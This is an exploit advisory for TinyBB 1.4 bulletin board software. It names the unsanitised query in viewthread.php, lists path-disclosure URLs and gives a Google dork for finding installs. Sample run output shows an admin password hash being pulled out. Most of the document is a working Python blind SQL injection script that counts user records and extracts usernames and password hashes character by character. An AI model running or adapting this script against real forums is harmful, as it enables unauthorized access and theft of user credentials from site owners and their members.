# Exploit Title    : TinyBB 1.4 Sql Injection + Path Disclosure
# Google Dork  : "Proudly powered by TinyBB"
# Date              : 7 April 2011
# Author           : swami
# Contact         : flavio[dot]baldassi[at]gmail[dot]com
# Version          : 1.4
# Tested on       : Centos 5.5 with magic_quotes_gpc off
# Thanks to      : ptrace.net
#
#  From tinybb.net
#  -------------------------
#  "TinyBB is a free, simple bulletin board script. TinyBB's community
is slowly growing and the number
#   of installs is slowly rising. TinyBB's software is 100% free and so
are our official add-ons."
#
#  Sql Injection [Fixed]
#  -----------------------
#  The  vulnerability exist in /inc/viewthread.php file at line 3. As
you can see below the $_GET['post'] parameter isn't
#  properly sanitized.
#
#   $check_thread = mysql_query("SELECT * FROM `tinybb_threads` WHERE
#   `thread_key` = '$_GET[post]'") or die(mysql_error());  
#
#  Path Disclosure [Not fixed]
#  --------------------
#   A remote user can access these files to cause the system to display
an error message that indicates the installation  #   path.
#       1-  http://host/inc/login.php
#       2-  http://host/inc/categories.php
#
#swami@swami-desktop:~/Documents/py$ ./tinybb.py
#
# [+] TinyBB thread url:
http://192.168.2.6/tinybb/index.php?page=thread&post=444709648
# [?] Set up a Proxy ? [y/n] y
# [+] Proxy ip:port: 127.0.0.1:3128
# [+] Proxy is found to be working
# [+] Testing url:
http://192.168.2.6/tinybb/index.php?page=thread&post=444709648
# [+] Url vulnerable: YES
# [+] Users into the db: 1
# [+] Executing blind sql injection, this will take time ...
#
# [+] UserId 76: admin:64d7103eef2b14bbb2d0b57c38cc3fbee29ff72a
#
# [+] Done
#
 
#!/usr/bin/python
#
import sys
import urllib.request
 
def banner():
     
   print('+                  +')
   print('|   ------------------------------   |')
   print('|   TinyBB 1.4 Blind Sql INjector    |')
   print('|   ------------------------------   |')
   print('+ by swami                 +\n')
 
def setProxy(ip):
     
   try:
    proxy = urllib.request.ProxyHandler( {'http':'http://'+ str(ip) } )
    opener = urllib.request.build_opener( proxy )
    opener.open('http://www.google.com')
    print('[+] Proxy is found to be working')
 
   except:
    print('[-] Proxy doesn\'t work')
    print('[-] Exit ...')
    sys.exit(1)
 
   return opener
 
def testUrl(url, handle):
 
   print('[+] Testing url: '+ url)
 
   try:
    req = handle.open( url )
    req = req.read().decode('utf-8')
 
   except:
    print('[-] '+ url +' is not a valid url')
    print('[-] Exit ...')
    sys.exit(1)
 
   return req
 
def urlVulnerable(url, clean, handle):
 
   sys.stdout.write('[+] Url vulnerable: ')
 
   try:
    req = handle.open( url + "'" )
    req = req.read().decode('utf-8')
 
   except:
        sys.exit('\n[-] Url typing error')
 
 
   if len(clean) > len(req):
    sys.stdout.write('YES\n')
    sys.stdout.flush()
 
   else:
    sys.stdout.write('NO\n[-] Exit...\n')
    sys.stdout.flush()
    sys.exit(1)
     
def getTrueValue(url, handle):
 
   trueValue = handle.open( url + "'%20and%20'1'='1" )
   return len( trueValue.read().decode('utf-8') )
 
 
def getNUsers(url, trueValue, handle):
 
   users = list()
 
   sys.stdout.write('[+] Users into the db: ')
   sys.stdout.flush()
 
   for userid in range(1,100):
 
    inject = url + "'%20and%20(SELECT%201%20FROM%20members%20WHERE%20id="+ str(userid) +")='1"
 
    try:
        req = handle.open( inject )
        req = req.read().decode('utf-8')
 
    except:
        print('[-] Somenthing went wrong')
        sys.exit(1)
 
    if len(req) == trueValue:
        users.append(userid)
 
   sys.stdout.write( str(len(users)) )
 
   return users
 
 
def doBlind(url, handle, nUserId, trueValue):
 
    print('\n[+] Executing blind sql injection, this will take time ...\n')
 
    for x in range(len(nUserId)):
 
        position = 1 # Line position
        userid = nUserId[x]
        char = 33 # Start from !
 
        sys.stdout.write('[+] UserId '+ str(userid) +': ')
        sys.stdout.flush()
 
        # Execute Blind Sql INjection
        while True:
 
            inject = url
            inject += "'%20and%20ascii(substring((SELECT%20concat(username,0x3a,password)%20FROM%20"
            inject += "members%20WHERE%20id="+ str(userid) +"),"+ str(position) +",1))>"+ str(char) +"%20--'"
 
            result = handle.open( inject )
            result = result.read().decode('utf-8')
 
            # If we don't get errors
            if len(result) == trueValue:
                char += 1
 
            else:
 
                if position > 43 and chr(char) == "!":
                    break
 
                else:
                    sys.stdout.write( chr(char) )
                    sys.stdout.flush()
                    position += 1
                    char = 33 #Reset char
 
            if char == 127 :
                print('[-] Ascii table is over. Exit... :/')
                sys.exit(1)
 
        print()
 
 
if __name__ == "__main__":
 
    banner()
    url = input('[+] TinyBB thread url: ')
 
    if input('[?] Set up a Proxy ? [y/n] ') == 'y' :
        handle = setProxy( input('[+] Proxy ip:port: ') )
 
    else:
        handle = urllib.request.build_opener()
 
    clean = testUrl(url, handle)
    urlVulnerable(url, clean, handle)
    trueValue = getTrueValue(url, handle)
    userId = getNUsers(url, trueValue, handle)
    doBlind(url, handle, userId, trueValue)
 
    print('\n[+] Done ')